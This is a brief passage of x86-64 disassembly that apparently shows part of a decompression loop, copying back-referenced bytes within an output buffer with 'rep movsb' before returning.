add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x179428e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x17943e2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x179428e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20